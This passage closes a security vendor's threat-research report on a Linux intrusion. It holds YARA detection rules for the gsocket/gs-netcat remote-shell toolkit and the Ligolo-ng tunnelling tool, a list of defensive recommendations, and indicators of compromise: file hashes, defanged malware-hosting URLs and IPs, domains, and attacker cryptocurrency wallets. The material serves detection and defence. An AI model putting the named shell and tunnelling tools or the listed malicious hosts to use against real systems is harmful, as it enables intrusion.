        $str5 = "GS_HIJACK_PORTS"
        $str6 = "sftp -D gs-netcat"
        $str7 = "GS_NETCAT_BIN"
        $str8 = "GSOCKET_NO_GREETINGS"
        $str9 = "GS-NETCAT(1)"
        $str10 = "GSOCKET_SOCKS_IP"
        $str11 = "GSOCKET_SOCKS_PORT"
        $str12 = "gsocket(1)"
        $str13 = "gs-sftp(1)"
        $str14 = "gs-mount(1)"
    condition:
        3 of them
}
```

Finally, the following signature was written to detect the open source Ligolo-ng tool, as we have reason to believe this tool was used during this intrusion.

```
rule Linux_Hacktool_LigoloNG {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Hacktool.LigoloNG"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $a = "https://github.com/nicocha30/ligolo-ng"
        $b = "@Nicocha30!"
        $c = "Ligolo-ng %s / %s / %s"
    condition:
        all of them
}
```

Defensive recommendations

To effectively defend against malware campaigns and minimize the risk of intrusion, it’s crucial to implement a multi-layered approach to security. Here are some key defensive measures you should prioritize:

1. **Keep Your Elastic Detection Rules Updated and Enabled**: Ensure that your security tools, including any pre-built detection rules, are up to date. Continuous updates allow your systems to detect the latest malware signatures and behaviors.
2. **Enable Prevention Mode in Elastic Defend**: Configure Elastic Defend in prevention mode to automatically block known threats rather than just alerting on them. Prevention mode ensures proactive defense against malware and exploits.
3. **Monitor Alerts and Logs**: Regularly monitor alerts, logs, and servers for any signs of suspicious activity. Early detection of unusual behavior can help prevent a small breach from escalating into a full-blown compromise.
4. **Conduct Threat Hunting**: Proactively investigate your environment for hidden threats that may have evaded detection. Threat hunting can uncover advanced attacks and persistent malware that bypass traditional security measures.
5. **Implement Web Application Firewalls (WAFs)**: Use a WAF to block unauthorized or malicious traffic. A properly configured firewall can prevent many common web attacks.
6. **Enforce Strong Authentication for SSH**: Use public/private key authentication for SSH access to protect against brute force attacks.
7. **Write Secure Code**: Ensure that all custom software, especially web server technology, follows secure coding practices. Engaging professional security auditors to review your code can help identify and mitigate vulnerabilities before they are exploited.
8. **Regularly Patch and Update Systems**: Keeping servers, applications, and software up to date is essential to defending against known vulnerabilities. Prompt patching minimizes the risk of being targeted by off-the-shelf exploits.

By following these recommendations, you can significantly reduce the attack surface and strengthen your defense against ongoing or potential malware threats.

Observations

The following observables were discussed in this research. These are available for download in STIX or ECS format here.

Observable	Type	Nam
72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f	SHA-256	Syst
82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684	SHA-256	apac
0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd	SHA-256	apac
9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e	SHA-256	dow
1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79	SHA-256	linux
d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8	SHA-256	linux
ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b	SHA-256	linux
792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6	SHA-256	linux

Observable	Type	Nam
e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4	SHA-256	linu
3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745	SHA-256	linu
fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0	SHA-256	linu
6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55	SHA-256	linu
0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814	SHA-256	linu
310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988	SHA-256	linu
0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527	SHA-256	linu
36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196	SHA-256	linu
3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f	SHA-256	linu
7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7	SHA-256	linu
09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7	SHA-256	l64_
ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46	SHA-256	l64_
160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a	SHA-256	l64_
89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055	SHA-256	l64_
20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b	SHA-256	l86_
728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c	SHA-256	l86_
47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40	SHA-256	l86_
e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5	SHA-256	l86_
d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60	SHA-256	hjvh
54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de	SHA-256	mvh
9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976	SHA-256	vdfg
http://gcp.pagaelrescate[.]com:8080/ifindyou	url	ifind
http://gcp.pagaelrescate[.]com:8080/cycnet	url	cycr
http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot	url	Envi
http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC	url	Syst
http://38.54.125[.]192:8080/nginx-rc	url	ngin
http://62.72.22[.]91/apache2	url	apa
http://62.72.22[.]91/apache2v86	url	apa

Observable	Type	Nam
http://91.92.241[.]103:8002/gk.php	url	gk.p
http://hfs.t1linux[.]com:7845/scdsshfk	url	scds
gcp.pagaelrescate[.]com	domain-name	
nishabii[.]xyz	domain-name	
3.147.53[.]183	ipv4-addr	
38.54.125[.]192	ipv4-addr	
107.178.101[.]245	ipv4-addr	
62.72.22[.]91	ipv4-addr	
91.92.241[.]103	ipv4-addr	
61.160.194[.]160	ipv4-addr	
41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL	XMR Wallet	
42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc	XMR Wallet	
1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz	BTC Wallet	

References

The following were referenced throughout the above research: